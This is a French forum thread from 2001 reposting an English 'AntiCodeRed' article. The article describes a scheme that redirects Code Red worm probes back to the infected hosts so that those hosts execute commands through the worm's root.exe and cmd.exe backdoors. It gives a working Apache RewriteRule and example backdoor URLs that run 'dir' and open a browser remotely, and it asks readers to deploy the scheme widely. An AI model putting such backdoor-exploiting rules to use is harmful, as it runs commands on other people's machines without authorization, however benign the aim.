Combattre code red

par **bruno** » 09 Sep 2001 11:19

<HTML>Voici un article très intéressant trouvé sur un site web anglophone qui explique comment on peut utiliser le module rewrite d'apache pour lutter efficacement contre le CodeRed. ---------------------------------------------------------------- ------------------------------------------------------------------------------- INTRODUCTION TO THE ANTI CODE RED SCHEME ------------------------------------------------------------------------------- The following text explains a potential way to help alleviate the problems caused by Code Red. The idea is to attack Code Red at the source -- on as many infected PCs as possible. Filtering Code Red from certain subnets isn't a good solution because the infection still exists (as does the vulnerability introduced by CRv2.) When an infected PC tries to spread the infection, it attacks the victim by attempting a buffer overflow in the URL. The list of infected PCs is stored in the log files of servers across the world. We've been tracking them for some time now, but as far as I'm aware, there is no attempt to reduce the infection other than educating the public. However, most of the users don't realize they have the virus because they don't realize they are running IIS on their machine. ------------------------------------------------------------------------------- THWARTING THE ATTACK ------------------------------------------------------------------------------- Before I begin, I should say I'm no expert, and there may be better ways to accomplish what I've done, but what I've done _is_ working. I can only explain the process for Apache-based servers (that's all I'm familiar with) but it should translate to other servers. CRv2 opens up a vulnerability using either cmd.exe or root.exe. If you're not familiar with this, you should be -- visit the following site: http://www.incidents.org/react/code_redII.php Essentially, this vulnerability allows an attacker to run any command on the infected PC. There are a few limitations to this, but they can be easily overcome. What AntiCodeRed proposes, is to cause the infected PC to automatically exploit its own vulnerability. Here's how... Apache servers have a module called the rewrite module. This module works much like a "plugin" to the Apache software. With this, you can set rules for rewriting a URL. For example: /default.ida?XXXXXXX........ can be rewritten as: /usr/local/httpd/htdocs/index.html However, the rewrite module allows for rules to be written, such that a url is automatically redirected (via the http header, not the HTML header). Thus: /default.ida?XXXXXXX........ can be redirected to: http://www.yahoo.com/ Fortunately, the worm uses IE to attack its victims, so it will follow these redirects. The rewrite module also has another powerful feature. When generating the substitution (redirection) URL, we can inject the remote PC's IP address. Thus: /default.ida?XXXXXXX........ can be redirected to: http://attacker.com/ Now this is a URL we can work with. This allows us to force a redirection back to the PC where the attack is originated. We can make use of the back door that the virus opens, and cause the virus to exploit its own back door. Take the following URL for example: http://attacker.com/c/inetpub/scripts/root.exe?/c+dir This will cause the remote machine (if vulnerable) to spawn a command prompt and execute the DIR command. This is useless, so instead, let's consider the following URL: http://attacker.com/c/inetpub/scripts/r ... yahoo.com/ If you'll notice, the command we're executing is "start http://www.yahoo.com". This command will spawn an browser window (on the infected PC) and point that browser at the Yahoo! website. I use Yahoo! only as an example. Instead, I'm pointing the virus to my notification page: http://24.17.180.183/anticodered.html Just so we have our terms straight, we'll call the complete URL (with exploit and notification page) the "response URL". For clarity, this is what it looks like: http://attacker.com/c/inetpub/scripts/r ... otify.com/ ...where 'notify.com' is the URL to the notification page of your choice. ------------------------------------------------------------------------------- STEP BY STEP ------------------------------------------------------------------------------- Let's break down exactly what happens. First, the infected PC (the attacker) sends a URL to a victim. The URL looks something like: http://victim.com/default.ida?XXXXXXXXXXXXX ... This is then rewritten as a redirection to the following response URL: http://attacker.com/c/inetpub/scripts/r ... otify.com/ Once the response URL is generated, the server places this in an HTTP header and responds to the attacker. The attacker parses this HTTP header, sees the redirection and follows it. The attacker then attempts a connection to our response URL (for the sake of completeness, it is reprinted below): http://attacker.com/c/inetpub/scripts/r ... otify.com/ When the attacker connects to itself, it causes the notification page to appear on the attacker's infected PC. The virus notifies the user of the infected PC for us. ------------------------------------------------------------------------------- THE SECOND VULNERABILITY ------------------------------------------------------------------------------- Unfortunately, the 'root.exe' vulnerability is only open for the first 48 hours of infection. After that point, we need to use a different vulnerability. Looking back at our example of redirecting to the Yahoo! website, we can cause the virus to exploit this other vulnerability like so: http://attacker.com/c/inetpub/scripts/r ... otify.com/ http://remote_ip_addr/c/winnt/system32/ ... .yahoo.com Unfortunately, we can't rewrite a single attack URL into more than one response URL. One option is to redirect the attack URL to a CGI on the server. This CGI would then use lynx (or some other HTTP retrieval mechanism) to call up both response URLs. The down-side to this, is that the server itself could be considered the attacker. I'm not sure how the legalities (or morality) of this plays out, so here's a less proactive approach... If enough people get involved in the AntiCodeRed scheme, we can split the work load. A random portion of the servers will redirect using the cmd.exe response URL and a random portion will redirect to root.exe response URL. ------------------------------------------------------------------------------- DETAILS ------------------------------------------------------------------------------- In order for this to work, we'll need the apache rewrite module to do the work for us. Here is my rewrite rule for the job: RewriteRule ^(.*)/default.ida(.*) http://%{REMOTE_ADDR}/c/inetpub/scripts/root.exe?/c+start+http://24.17.180.183/anticodered.html [careful with that rules, it may wrap] ------------------------------------------------------------------------------- CLOSING ------------------------------------------------------------------------------- Because not all systems infected with CRv2 are truely vulnerable, we can't guarantee that a notification will appear on all vulnerable systems. But this is definately a good start. It's automatic and takes a very direct approach. This won't work unless a lot of people get involved. Please spread the word. For questions/comments, please email: anticodered@hotmail.com This document (and future revisions) can be found at the following URL: http://24.17.180.183/anticodered.txt</HTML>

par **popov** » 10 Juin 2003 22:59

Tres interessant !

par **popov** » 10 Juin 2003 23:03

C'est que je constate, c'est qu'il est toujours en place !

Combattre code red

Qui est en ligne ?